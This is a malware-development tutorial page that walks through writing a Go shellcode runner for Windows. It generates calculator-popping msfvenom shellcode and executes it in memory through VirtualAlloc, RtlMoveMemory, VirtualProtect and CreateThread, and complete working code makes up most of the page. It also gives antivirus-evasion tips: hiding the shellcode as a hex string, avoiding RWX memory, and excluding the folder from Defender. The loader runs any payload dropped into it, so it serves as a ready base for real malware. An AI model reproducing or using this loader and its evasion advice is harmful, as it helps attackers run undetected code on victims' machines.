4. Shellcode Runner
#shellcoderunner #golang #maldev #malwaredevelopment
With all the knowledge we have it's now time to run some shellcode.
From ChatGPT : "Shellcode is a small piece of machine code typically used in the context of software exploits and malicious activities. It's called "shellcode" because it often provides a way to gain control over a computer system and execute arbitrary commands, effectively providing a shell (command-line interface) to an attacker."
To run shellcode in the current process the following windows APIs will be called:
VirtualProtect (optional)
To generate shellcode we will use msfvenom. The payload will not perform anything malicious but the behaviour is usually flagged by AV engines. It might be a good idea to add your working directory into the AV exception list. (reference for defender)
Let's start constructing our code.
Shellcode Generation
For this example we will generate a shellcode that is used to pop a calculator. I am currently working on windows 11 x64 so adjust your payload accordingly.
On kali I ran the following command:
┌──(kali㉿kali)-[~]
└─$ msfvenom -f hex -p windows/x64/exec cmd=calc
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 272 bytes
Final size of hex file: 544 bytes
fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300
-f hex -> hex is the output format. hex will give me hex characters in a string
-p windows/x64/exec -> this is the payload. It executes a command in a x64 bit system
cmd=calc -> is the command to run. In our case a calculator
Go Program
Transform the shellcode from string to byte array
The shellcode in a string format is not useful to us. We have to turn the string into a byte array. Thankfully a package exists that could do the conversion for us.
Fun fact: Storing shellcode as a hex string helps evading static AV signatures (sometimes). Storing the shellcode in a byte slice will flag immediately (with most AVs)
sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300")
Memory Allocation
We then have to allocate memory for our shellcode. For memory allocation we will use the VirtualAlloc API. This API exists in the windows package so we will go ahead to implement it.
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
lpAddress: We will let the API decide where to allocate the memory, therefore this value will be set to 0
dwSize: Will be the size of our shellcode
flAllocationType: We need to reserve and commit memory
flProtect: This can be done in a number of ways. To write and execute shellcode we will need rwx permissions. It is however unusual for legitimate programs to allocate memory with rwx permissions and it is usually flagged my AV engines. Another option is to assign rx or rw and then change permissions as needed for writing and executing with VirtualProtect.
fmt.Println("[+] Allocating memory for shellcode")
addr, err := windows.VirtualAlloc(uintptr(0),
uintptr(len(sc)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_READWRITE)
if err != nil {
log.Fatalf("VirtualAlloc Failed: %v\n", err)
}
fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
Copy Shellcode bytes to the allocated memory
To write the shellcode bytes to memory we will use the RtlMoveMemory API.
VOID RtlMoveMemory(
_Out_ VOID UNALIGNED *Destination,
_In_ const VOID UNALIGNED *Source,
_In_ SIZE_T Length
);
The arguments are self explanatory:
Destination address is the address returned from the VirtualAlloc API
Source is a pointer, pointing at the beginning of our sc byte array
Length is the length of our shellcode
Since the RtlMoveMemory is not part of the windows package we will use the syscall package to import it manually.
modntdll := syscall.NewLazyDLL("Ntdll.dll")
procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory")
procrtlMoveMemory.Call(addr,
uintptr(unsafe.Pointer(&sc[0])),
uintptr(len(sc)))
fmt.Println("[+] Wrote shellcode bytes to destination address")
Changing the Memory permissions to RX
Since we assigned the memory permissions to ReadWrite we have to change the permissions to RX. Otherwise our program will crash when trying to start a thread from that memory region.
To do this we need to call the VirtualProtect API.
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);
lpAddress: is the target address return from VirtualAlloc
dwSize: is the size of our shellcode
flNewProtect: is the new permissions we would like to assign PAGE_EXECUTE_READ
lpflOldProtect: will store the old permissions in case we want to restore them later on.
fmt.Println("[+] Changing Permissions to RX")
var oldProtect uint32
err = windows.VirtualProtect(addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)
if err != nil {
log.Fatalf("VirtualProtect Failed: %v", err)
}
Create a new Thread
Finally, we need to create a new thread pointing to our shellcode. CreateThread windows api will be used.
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in, optional] __drv_aliasesMem LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out, optional] LPDWORD lpThreadId
);
Although this is not implemented in the windows package it's fairly easy to implement since we only need to specify the lpStartAddress parameter.
modKernel32 := syscall.NewLazyDLL("kernel32.dll")
procCreateThread := modKernel32.NewProc("CreateThread")
tHandle, _, lastErr := procCreateThread.Call(
uintptr(0),
uintptr(0),
addr,
uintptr(0),
uintptr(0),
uintptr(0))
if tHandle == 0 {
log.Fatalf("Unable to Create Thread: %v\n", lastErr)
}
fmt.Printf("[+] Handle of newly created thread: %x \n", tHandle)
Finally we wait for the shellcode to run
This API allows us to wait for the thread to execute otherwise the program will terminate before the calculator pops up.
DWORD WaitForSingleObject(
[in] HANDLE hHandle,
[in] DWORD dwMilliseconds
);
hHandle: We will provide the handle returned by the CreateThread function
dwMilliseconds: We set that to infinite
windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)

Complete Code
package main
import (
"encoding/hex"
"fmt"
"log"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
func main() {
//msfvenom -f hex -p windows/x64/exec cmd=calc
sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300")
fmt.Println("[+] Allocating memory for shellcode")
addr, err := windows.VirtualAlloc(uintptr(0), uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if err != nil {
log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", err)
}
fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
modntdll := syscall.NewLazyDLL("Ntdll.dll")
procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory")
procrtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
fmt.Println("[+] Wrote shellcode bytes to destination address")
fmt.Println("[+] Changing Permissions to RX")
var oldProtect uint32
err = windows.VirtualProtect(addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)
if err != nil {
log.Fatalf("[FATAL] VirtualProtect Failed: %v", err)
}
modKernel32 := syscall.NewLazyDLL("kernel32.dll")
procCreateThread := modKernel32.NewProc("CreateThread")
tHandle, _, lastErr := procCreateThread.Call(
uintptr(0),
uintptr(0),
addr,
uintptr(0),
uintptr(0),
uintptr(0))
if tHandle == 0 {
log.Fatalf("Unable to Create Thread: %v\n", lastErr)
}
fmt.Printf("[+] Handle of newly created thread: %x \n", tHandle)
windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)
}
Last updated
Was this helpful?